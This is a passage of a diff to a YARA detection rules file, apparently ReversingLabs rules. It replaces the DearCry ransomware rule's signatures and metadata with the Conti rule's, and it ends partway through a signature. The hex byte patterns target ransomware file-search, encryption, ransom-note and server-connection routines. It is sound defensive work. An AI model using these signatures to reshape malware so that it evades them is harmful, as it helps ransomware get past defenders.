-            ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 44 0F B6 4C 04 ?? E8 ?? ?? ?? ?? 48 8D 95 ??
-            ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? FF C3 3B 9D ?? ?? ?? ?? 72 ?? 48 8B 8D ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 33 D2 48 8B CF FF 15 ?? ?? ?? ?? B9
+		$get_files_for_encryption_32 = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 80 7C 24
+            ?? ?? 74 ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? BB ?? ?? ?? ?? 89 5C 24 ??
+            E8 ?? ?? ?? ?? 83 C4 ?? C3 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 1D ?? ?? ?? ??
+            83 C3 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ??
+            ?? 8B 1D ?? ?? ?? ?? 83 C3 ?? 8D 7C 24 ?? FC 8B 0B 89 0F 8B 4B ?? 89 4F ?? E8 ?? ??
+            ?? ?? 8B 5C 24 ?? 89 1D ?? ?? ?? ?? 8B 5C 24 ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 89 1D ??
+            ?? ?? ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? E8
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0C 24 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 89 4C 24 ?? 89
+            4C 24 ?? 89 44 24 ?? 89 44 24 ?? BB ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 5C 24 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? E8 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? BD ?? ?? ?? ?? 89 2C 24 89 5C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? E9
         }
-		$encrypt_files_p2 = {
-            48 8B C4 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 55 41 54 41 55 41 56 41 57 48 8D A8 ??
-            ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89
-            85 ?? ?? ?? ?? 45 33 E4 C7 44 24 ?? ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 44 89 25 ?? ?? ??
-            ?? 48 8D 95 ?? ?? ?? ?? 44 89 25 ?? ?? ?? ?? 33 C9 44 89 25 ?? ?? ?? ?? 45 8B FC 4C
-            89 25 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 63 C8
-            48 8D 85 ?? ?? ?? ?? 48 8D 04 48 48 83 C0 ?? 66 83 38 ?? 75 ?? 66 44 89 20 4C 8D 05
-            ?? ?? ?? ?? 48 83 C0 ?? 4C 89 64 24 ?? 48 89 05 ?? ?? ?? ?? 45 33 C9 48 8D 05 ?? ??
-            ?? ?? 44 89 64 24 ?? 33 D2 48 89 05 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? 33 D2 33 C9
-            44 8D 42 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 48 8B 1D ?? ?? ?? ?? 48 81 C3
-            ?? ?? ?? ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D3 48 8B CE 44
-            8B F0 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
-            48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 41 8D 46
+		$encrypt_file_32 = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 5C 24
+            ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? 8B 44 24
+            ?? 89 54 24 ?? 89 14 24 89 4C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? 8B 5C 24 ??
+            89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 54 24
+            ?? 8B 4C 24 ?? 8B 44 24 ?? 8B 5C 24 ?? 89 1C 24 8B 5C 24 ?? 89 5C 24 ?? 89 54 24 ??
+            89 54 24 ?? 89 4C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? C3 E8 ?? ?? ?? ?? E9
         }
-		$find_files = {
-            48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B
-            05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 4C 8D 05 ?? ?? ?? ?? 4C 8B C9
-            BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8D ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
-            48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 44 24 ?? 4C 8B CF 4C 8D 05 ?? ?? ?? ?? 48 89 44 24
-            ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 48 8D 8D ??
-            ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85
-            ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ??
-            ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3
-            5D C3
+		$attach_to_server_32 = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 31 DB 89
+            5C 24 ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 89 CF 83 F9 ??
+            0F 84 ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 89 4C 24 ?? 89 0C 24 83 3C 24 ?? 0F 84 ?? ??
+            ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89
+            1C 24 83 3C 24 ?? 0F 84 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 1C 24 83 3C 24 ?? 0F 84 ?? ?? ?? ?? BB ?? ?? ?? ??
+            89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 1C 24 83 3C 24 ??
+            0F 84 ?? ?? ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B
+            44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 31 DB 89 5C 24 ?? 89 5C 24 ?? 31 ED 39 E8 0F 85
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 4C 24 ?? 89 0C 24 89 44 24 ?? 89 44 24
+            ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 48 ?? 8B 68
+            ?? 89 6C 24 ?? 89 6C 24 ?? 89 4C 24 ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8D 59 ?? C7 04 24
+            ?? ?? ?? ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? C7 04 24 ?? ?? ??
+            ?? 8B 44 24 ?? 83 F8 ?? 74 ?? 83 C0 ?? 8D 7C 24 ?? FC 8B 08 89 0F 8B 48 ?? 89 4F ??
+            E8 ?? ?? ?? ?? 8D 5C 24 ?? FC 8B 0B 89 0C 24 8B 4B ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B
+            54 24 ?? 8B 4C 24 ?? 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 89 54 24 ?? 89 54 24 ?? 89 4C
+            24 ?? 89 4C 24 ?? 89 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 5C 24 ?? 8B
+            5C 24 ?? 89 5C 24 ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3
         }
-		$remote_connection = {
-            44 0F B7 45 ?? 33 DB 48 8B 55 ?? 45 33 C9 48 89 5C 24 ?? 48 8B CE 89 5C 24 ?? C7 44
-            24 ?? ?? ?? ?? ?? 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 85 C0 0F 84 ?? ?? ??
-            ?? 80 7D ?? ?? B9 ?? ?? ?? ?? 4C 8B 45 ?? B8 ?? ?? ?? ?? 48 8B 55 ?? 0F 44 C8 48 89
-            5C 24 ?? 45 33 C9 89 4C 24 ?? 89 4D ?? 49 8B CE 48 89 5C 24 ?? 48 89 5C 24 ?? FF 15
-            ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 4C 8D 4D ?? 4C 8D 45 ??
-            C7 45 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 4D ??
-            ?? ?? ?? ?? 4C 8D 45 ?? 41 B9 ?? ?? ?? ?? 48 8B CB 41 8D 51 ?? FF 15 ?? ?? ?? ?? 4C
-            8B 4D ?? 48 8B C7 48 F7 D8 48 8B D7 8B 45 ?? 48 8B CB 45 1B C0 89 44 24 ?? FF 15 ??
-            ?? ?? ?? 85 C0 74 ?? 33 FF 83 65 ?? ?? 48 8D 55 ?? 45 33 C9 45 33 C0 48 8B CB FF 15
-            ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 49 8B CF 03 D7 E8 ?? ?? ?? ?? 44 8B 45 ?? 4C 8D 4D
-            ?? 8B D7 48 8B CB 48 03 D0 4C 8B F8 FF 15 ?? ?? ?? ?? 8B 45 ?? 03 F8 EB ?? 8B 45
+		$get_files_for_encryption_64 = {
+            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83
+            EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 0F B6 44 24 ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 05
+            ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 83 F9 ?? 0F 86 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40
+            ?? 48 89 0C 24 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 83 F9 ??
+            0F 86 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ??
+            ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 0D ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 84 C9 0F 85
+            ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 44
+            24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 04 24
+            48 8B 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 8D 05 ?? ??
+            ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B
+            4C 24 ?? 48 89 04 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? C3 48
+            8D 0D ?? ?? ?? ?? 48 89 0C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 0F 0B 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ??
+            ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? E9
+        }
+		$attach_to_server_64 = {
+            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83
+            EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ??
+            ?? ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 89
+            7C 24 ?? 84 07 0F 57 C0 48 83 C7 ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48
+            8B 6D ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 48
+            89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8D 0D ?? ?? ?? ?? 48 89 4C
+            24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8D 0D
+            ?? ?? ?? ?? 48 89 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ??
+            48 89 04 24 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ??
+            ?? 48 8B 44 24 ?? 48 8B 48 ?? 48 8B 10 48 8B 58 ?? 48 8B 40 ?? 48 39 CB 0F 87 ?? ??
+            ?? ?? 48 29 D9 48 29 D8 48 85 C0 0F 84 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 01 DA
+            48 89 54 24 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C
+            24 ?? 48 89 0C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B
+            48 ?? 48 8B 50 ?? 84 01 48 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 48 83 C1 ?? 48 89 4C 24
+            ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 8B 44
+            24 ?? 48 8B 48 ?? 48 8B 40 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44
+            24 ?? 48 8B 4C 24 ?? 48 89 04 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B
+            4C 24 ?? 48 8B 54 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 89
+            54 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 44 24 ?? 48 89 8C 24 ??
+            ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? C3 90 E8 ?? ?? ?? ?? 48 8B 6C
+            24 ?? 48 83 C4 ?? C3 31 DB E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? E9
+        }
+		$encrypt_file_64 = {
+            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83
+            EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89
+            44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 89 04 24 48
+            89 4C 24 ?? 48 89 54 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48
+            89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48
+            8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 89 1C 24 48 8B 5C 24 ?? 48 89 5C 24 ??
+            48 89 44 24 ?? 48 89 4C 24 ?? 48 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 8B 6C 24 ?? 48 83 C4 ?? C3 E8 ?? ?? ?? ?? E9
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($remote_connection)
+		uint16(0)==0x5A4D and (($get_files_for_encryption_32 and $encrypt_file_32 and $attach_to_server_32) or ($get_files_for_encryption_64 and $encrypt_file_64 and $attach_to_server_64))
 }
-rule REVERSINGLABS_Win32_Ransomware_Dearcry : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Conti : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects DearCry ransomware."
+		description = "Yara rule that detects Conti ransomware."
 		author = "ReversingLabs"
-		id = "6e2097e0-6495-5185-bbbc-e8168fa0ca7f"
-		date = "2021-03-12"
-		modified = "2021-03-12"
+		id = "548b8836-83cb-560c-af5f-33bdb24d15ed"
+		date = "2020-12-14"
+		modified = "2020-12-14"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.DearCry.yara#L1-L96"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "40dde232255018e1bc0aadf2378a7a86a99327d13dda58d8ffc5bb38e164de26"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Conti.yara#L1-L74"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "4f2b96c8eaf8d112a7bb60647db49616935a336396c705d39d5bb51dfd90c60b"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -36832,91 +38009,70 @@ rule REVERSINGLABS_Win32_Ransomware_Dearcry : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "DearCry"
+		tc_detection_name = "Conti"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$drop_ransom_note_p1 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 53 56 57 33 DB 68 ?? ?? ?? ?? 50 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 1D ?? ??
-            ?? ?? 89 1D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 1D ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 89 44 24 ?? E8
-            ?? ?? ?? ?? 8B F0 6A ?? 68 ?? ?? ?? ?? 89 74 24 ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ??
-            E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 3B F3 0F 84 ?? ?? ?? ?? 3B FB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 5C 24 ?? B8 ?? ?? ?? ?? 33 F6 8B FF
-            38 18 74 ?? 50 E8 ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 C4 ?? 8B D7 8A 08 88 0A 40 42 84
-            C9 75 ?? 8B C7 33 F6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 74 ?? 0F BE 14 37 52 E8 ??
-            ?? ?? ?? 88 04 37 8B C7 83 C4 ?? 46 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F0 72 ??
-            8B 74 24 ?? 46 89 74 24 ?? 69 F6 ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 3B C3 75 ?? 6A ?? 68
-        }
-		$drop_ransom_note_p2 = {
-            89 5C 24 ?? E8 ?? ?? ?? ?? 53 8B F0 53 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 56 89 44 24
-            ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8B F8 3B C3 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 85 C0 0F 86 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 53 51 88 5C 24 ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            8A 44 1C ?? 3C ?? 7C ?? 3C ?? 7E ?? 3C ?? 0F 8C ?? ?? ?? ?? 3C ?? 0F 8F ?? ?? ?? ??
-            0F BE C0 50 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ??
-            8D 54 24 ?? 52 FF D6 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 8B
-            4C 24 ?? 8B 54 24 ?? 8B 44 24 ?? 51 52 50 6A ?? 8D 4C 24 ?? 51 57 E8 ?? ?? ?? ?? 0F
-            BE 54 1C ?? 68 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? B8 ?? ?? ?? ?? 8D 50
-            ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 56 2B C2 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56
-            E8 ?? ?? ?? ?? 83 C4 ?? 43 81 FB ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 33 DB 57
+		$find_files = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 8B D9 53 FF 15 ?? ?? ?? ?? 89 44 24 ??
+            8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 44
+            24 ?? B9 ?? ?? ?? ?? 53 BE ?? ?? ?? ?? 57 66 83 7C 43 ?? ?? 0F 45 F1 FF 15 ?? ?? ??
+            ?? 56 57 FF 15 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ??
+            8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? F6 44 24 ?? ?? 74 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 54 24 ?? 8B
+            CB E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B CE E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? EB ??
+            8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 54 24 ?? 8B CB E8 ?? ?? ?? ?? 8B F0 85 F6
+            74 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 5A 8B C8 C6 01 ?? 41
+            83 EA ?? 75 ?? 83 48 ?? ?? 50 89 70 ?? A1 ?? ?? ?? ?? 52 6A ?? FF 70 ?? FF 15 ?? ??
+            ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? E8 ??
+            ?? ?? ?? 83 FF ?? 74 ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
         }
-		$find_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 31 45 ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64
-            A3 ?? ?? ?? ?? 89 65 ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 75 ?? 89 B5 ?? ?? ?? ?? 8B 4D
-            ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ?? ?? ?? ??
-            8B C6 8D 50 ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 06 ?? ?? 74 ?? 8B C6 8D 50
-            ?? 8A 08 40 84 C9 75 ?? 2B C2 80 7C 06 ?? ?? 74 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? 52 EB ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89
-            85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 6A
-            ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 8B C6
-            8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8D 85 ?? ?? ?? ?? 8D 78 ?? 8A 08 40 84 C9
-            75 ?? 2B C7 03 C2 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B C3 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 83 F8 ?? 76 ?? B8 ?? ?? ??
-            ?? EB ?? 8B C3 8D 50 ?? 8D 64 24 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 53 8D 55 ?? 52 E8
+		$encrypt_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BB ?? ?? ?? ?? 8B F9 53 57 FF 15 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            A1 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 75 ?? 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? FF 74 B5 ?? 57 FF 15 ?? ?? ??
